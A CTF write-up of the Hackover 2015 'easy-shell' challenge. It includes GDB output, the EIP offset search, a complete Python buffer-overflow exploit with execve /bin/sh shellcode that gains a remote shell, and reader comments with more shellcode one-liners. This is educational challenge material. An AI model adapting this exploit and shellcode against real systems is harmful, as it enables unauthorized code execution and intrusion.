Hackover CTF 2015 – easy-shell

This writeup describes the solution for the easy-shell challenge in Hackover CTF 2015 held by Chaos Computer Club Hamburg.

Hackover CTF 2015 - easy-shell - Task description

Lets first check what the binary does when executing.

ruport@zentaur:~/hackover2015$ ./easy_shell

        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'| 
        "----^----">>

nom nom, shell> rup0rt

Some nice ascii art and data reading without output. Because this is a pwn challenge lets send much data in GDB and check the result.

nom nom, shell> AAAAAAAAAAA [300 * "A"]

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Wow, we already got EIP control – that will literally be an easy-shell :-). Lets check where to direct the EIP into a controlled code segment.

(gdb) i r
eax            0xffffd3a6	-11354
ecx            0xfbad2288	-72539512
edx            0xf7fb4884	-134526844
ebx            0xf7fb3000	-134533120
esp            0xffffd3e0	0xffffd3e0
ebp            0x41414141	0x41414141
(gdb) x/8x $eax
0xffffd3a6:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd3b6:	0x41414141	0x41414141	0x41414141	0x41414141

The EAX register points directly into the payload, so we could use a JMP EAX or CALL EAX instruction. Lets use metasploits msfelfscan to find such an instruction.

ruport@zentaur:~/hackover2015$ msfelfscan -j eax easy_shell
[easy_shell]
0x080483e3 call eax

Alright, we are going to use this address when overriding the EIP to point into our payload. But first we need to know, which bytes exactly override the EIP. I’m going to use metasploits patter tools:

ruport@zentaur:~$ pattern_create.rb 512
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8 [...]

nom nom, shell> Aa0Aa1Aa2Aa3Aa [...]

Program received signal SIGSEGV, Segmentation fault.
0x41386241 in ?? ()

ruport@zentaur:~$ pattern_offset.rb 41386241
[*] Exact match at offset 54

Okay, after 54 bytes of data the EIP gets overridden. Lets sum our information up and think about the payload we have to submit to the binary:

  1. 54 bytes of data (I am going to use NOPs and JUMP over the EIP address to get more space – just in case we would need more data for a larger shellcode)
  2. the new EIP address (0x080483e3 call eax)
  3. some more NOPs and a shellcode

Lets write this exploit as a python script.

#!/usr/bin/env python

import socket
import sys
import struct
import time

# tiny execve sh shellcode
# http://shell-storm.org/shellcode/files/shellcode-841.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

payload = "\x90" * (54-5)		# NOPs minus JMP
payload += "\xe9\x05\x00\x00\x00"	# JMP SHORT 5
payload += "\xe3\x83\x04\x08"		# CALL EAX
payload += "\x90" * 10			# more NOPs
payload += shellcode			# execve shellcode

server = ("easy-shell.hackover.h4q.it", 1337)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server)

data = sock.recv(2048)
print data

sock.send(payload + "\n")

while True:
  data = sock.recv(2048)
  print data

  input = raw_input("CMD> ")
  sock.sendall(input + "\n")

sock.close()

When executing the script, we get a shell at the Hackover CTF 2015 server.

CMD> cat /home/ctf/flag.txt
hackover15{eAsY_ShELL_iS_EaSy}

The solution is “hackover15{eAsY_ShELL_iS_EaSy}“.

5 thoughts on “Hackover CTF 2015 – easy-shell

  1. Nice write-up dude, I’m new to this thing, can you explain to me simple thing, i tried to write payload but didn’t succeed.

    (python -c ‘print “\x90″*10 + “\x31\xc0\x50\x89\xc2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 “+”A”*18 + “\xe3\x83\x04\x08″‘;) | ./easy_shell – not working (my payload)

    (python -c ‘print “\x31\xc0\x50\x89\xc2\x68\x2f\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 “+”A”*28 + “\xe3\x83\x04\x08″‘;) | ./easy_shell – works (after ctf i wrote it again)

    question is why \x90 gives errors ? it should be pass to next.

    sorry my bad english.

    • You need 54 bytes of data before storing the new EIP.

      1st code: 10 (NOP) + 25 (SC) + 18 (As) = 53 (1 byte missing)
      2nd code: 21 (SC) + 28 (As) = 49 (5 bytes missing)

      I dont understand why the second one should work at all ;-). Maybe u missed some bytes when posting the comment? I think the \x90 should not cause the problem in your codes.

      • thanks for your reply, seems like i missed some bytes, but can’t make it work, i modified your payload can u analyze this for me pls.

        1.your shell: 49 (NOP) + 5 (Jpm) + 4 (RIP) + NOP +SC = works

        (python -c ‘print “\x90” * (54-5) + “\xe9\x05\x00\x00\x00” + “\xe3\x83\x04\x08” + “\x90” * 10 + “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80″‘;ls) | ./hackover/easy_shell

        2. modified: 33 (NOP) + 21 (SC) + RIP = segmentation fault 🙁
        (python -c ‘print “\x90” * (54-21) + “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80” + “\xe3\x83\x04\x08″‘;pwd) | ./hackover/easy_shell

        last one should work, but it gives seg fault, i have no idea. does it matter that code run in 32bit or 64 bit os ?

      • (python -c ‘print “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80” + “\x41″*(54-21)+ “\xe3\x83\x04\x08″‘;ls) | ./hackover/easy_shell

        but this works. 21(SC) + (54-21)(As) + RIP

        • I think the problem is the destroyed EBP and the CALL instruction that pushes EIP onto the stack.

          We got: 50 bytes (payload) + 4 bytes (EBP) + 4 bytes (EIP). I was just lucky choosing a payload that does not cause any problems 🙂

          Try to store a readable address in EBP and all works fine. E.g. CALL eax once more: (python -c ‘print “\x90” * (54-21-4) + “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80” + “\xe3\x83\x04\x08″ + “\xe3\x83\x04\x08″‘;pwd) | ./hackover/easy_shell

          The arch does not matter – just whether its a 32bit or 64bit binary.

Leave a Reply

Your email address will not be published. Required fields are marked *